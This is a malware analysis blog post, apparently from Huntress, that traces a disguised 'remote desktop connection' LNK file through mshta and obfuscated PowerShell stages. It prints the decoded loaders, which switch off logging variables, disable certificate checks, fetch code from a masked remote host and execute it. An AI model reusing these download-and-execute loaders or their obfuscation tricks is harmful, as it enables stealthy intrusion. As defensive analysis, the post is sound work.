The Huntress SOC team sees all sorts of clever tricks attackers use to launch PowerShell.
Many of these tricks use PowerShell to read a payload from the registry and then execute that payload. So when we saw a LNK file starting PowerShell and then PowerShell reading from the LNK file itself, we assumed it was just an alternative to reading the registry. However, in this case it turned out to be much more. In this article, we’ll examine the details of this investigation.
Typically you’d expect a LNK file named remote desktop connection.lnk to start mstsc.exe or some other remote desktop application. Starting anything else, especially mshta.exe, is a red flag. This particular LNK file is interesting because the target command references the LNK file itself.
Looking at the LNK file in a HEX editor, we can see what appears to be encoded data just after the target executable (mshta.exe):
Returning to the command, we can see it uses mshta.exe to start a shell from VBscript, which in turn runs a PowerShell command. The PowerShell command reads from an offset within the LNK file and base64 decodes it. The final part of the command, ($eNV:coMsPec[4,26,25]-JoIN’’), is a way to hide IEX (Invoke-Expression) which executes whatever was read from the LNK file.
Fortunately, we can use PowerShell’s interactive mode to read the LNK file and decode the data, we just skip the IEX part of the command. This reveals more obfuscated code.
-JOin('36b76z111z103z69l110b103;105X110A101u76u105c102u101b67b121d99X108z101b69X118l101l110d116X61z36z76d111;103d69c110c103u105g110l101z72A101z97b108d116;104A69u1[...SNIP...]c101b78c86d58b99;111b77d115d80A101X99d91b52l44u50;54d44u50u53d93u45X74c111g73g78d39;39b41g40;36b114l101d32g45g74d79g73d110l39b39l41'.SpLiT('c;zXdAlugb')|FOrEAch-ObJeCt { ([int] $_-As[CHaR]) } ) | & ( $vErbOSepreFERENce.TOString()[1,3]+'x'-JOin'')
Once again, we can use PowerShell to execute most of the command above (the split and foreach loop) to decode it. The decoded command (below) makes a POST request and then executes the response.
$LogEngineLifeCycleEvent=$LogEngineHealthEvent=$LogProviderLifecycleEvent=$LogProviderHealthEvent=$False;
[System.Net.ServicePointManager]::ServerCertificateValidationCallback={1};
[SysTEm.Net.SeRvICePoIntMAnaGEr]::Expect100ConTINuE=0;
$b=[System.Text.Encoding]::UTF8.GetBytes(('ur'+'l'));
[System.Net.HttpWebRequest] $w = [System.Net.WebRequest]::Create($(('http'+'s://X'+'XX'+'.X'+'X.XX'+'X.X'+'XX') + "/"+ $(-join(('a'+'dcde'+'noprsahtuvi'+'wyz').ToCharArray()|.("{2}{1}{0}" -f 'm','t-Rando','Ge') -Count $(@(8,6,7)|&("{2}{0}{1}"-f'Rand','om','Get-'))))+'.'+ $(@(('ph'+'p'),('j'+'sp'),('as'+'p'))|&("{0}{2}{1}"-f 'Ge','dom','t-Ran'))));
$w.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
$w.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
$w.Timeout = 60000;
$w.Method = ('PO'+'ST');
$w.ContentType = ('a'+'ppli'+'cation/xml');
$w.ContentLength = $b.Length;
$r = $w.GetRequestStream();
$r.Write($b, 0, $b.Length);
$r.Flush();
$r.Close();
[System.Net.HttpWebResponse] $wr = $w.GetResponse();
$sr = &("{0}{2}{1}" -f 'New-','t','Objec') System.IO.StreamReader($wr.GetResponseStream());
[CHAr[]]$re = ([cHAr[]]($sr.ReadToEnd()));
$wr.Close();
. ($eNV:coMsPec[4,26,25]-JoIN'')($re -JOIn'')
The response to the POST request from stage 1 is another PowerShell command:
INvoKE-exPRessIon(( '36j76h111{103O69T110h103T105K110R101,76T105K102,101K67,121,99T108h101,69<118h101,110y116T61,36{76K111{103R69<110j103R105y110y101O72R101<97K108j116K104h69h118y101j110{116T61h36T76{111<103R80R114j111O118T1[...SNIP...]111y114<36<107h91h36R73y43,43O37y36O107O46O76h101h78R71h116y72R93<125y59O36O100y32<61y32j36{114{45{106R111R105T110<39<39O59{32K46j32j40j36T101O78j86,58j99{111K77K115<80T101,99<91{52j44R50j54,44K50O53{93y45y74,111j73j78T39K39h41h32T36<100' -SplIT'j'-sPLIT 'R' -SpLit 'y' -SPLiT ',' -SpLIT'{'-SpLiT 'T'-SPliT'h' -sPLit '<' -SPlIt'K'-sPLIt 'O'|foreAch-obJecT {([INt]$_ -as[chAR])} )-jOin '')
This decodes to a second HTTP request. This request GETs an XML document, base64 decodes one of the elements, and executes it.
$LogEngineLifeCycleEvent=$LogEngineHealthEvent=$LogProviderLifecycleEvent=$LogProviderHealthEvent=$False;
$a = &('N'+'ew-Ob'+'ject') System.Xml.XmlDocument;
$I=0;
$ip = ('htt'+'p://X'+'X.X'+'.X'+'X.X'+'XX');
$a.Load($(. {param([string]$b,[int]$n,[int]$c);
$p = @(9,5,6,7);
$u={param([int]$g,$x);
&('sa'+'l') er Get-Random;
$(-join(1..$($g*$($x|.('er')))|.('%'){[char][int]((65..90)+(97..122)|.('er'))})).ToLower()};'{0}/{1}/{2}/{3}.{4}' -f $b, $(. $u $n $p), $(. $u $c $p), $(. $u 1 $p), $(. $u 1 3)} $ip $PSVersionTable.CLRVersion.Major $([IntPtr]::Size/2)));
[CHAr[]]$r = [System.Text.Encoding]::UTF8.GetString($([System.Convert]::FromBase64String($a.comm.app.cute)));
$k = $($r[($r.Length-44)..($r.Length-13)]-join'');
[CHAr[]]$r = $r[14..($r.Length-57)]|&('%'){$_-BXor$k[$I++%$k.LeNGtH]};
$d = $r-join'';
. ($eNV:coMsPec[4,26,25]-JoIN'') $d
The response to the stage 2 HTTP request is the most interesting. Like the other two responses, it is PowerShell, but it does a lot more. There are functions for:
Attackers continue to use “Living Off The Land” techniques in hopes of minimizing the the chance of being detected. Microsoft added enhanced logging to Powershell version 5 which logs the complete PowerShell command/script. Logging is a key component to detecting these types of techniques.
Get insider access to Huntress tradecraft, killer events, and the freshest blog updates.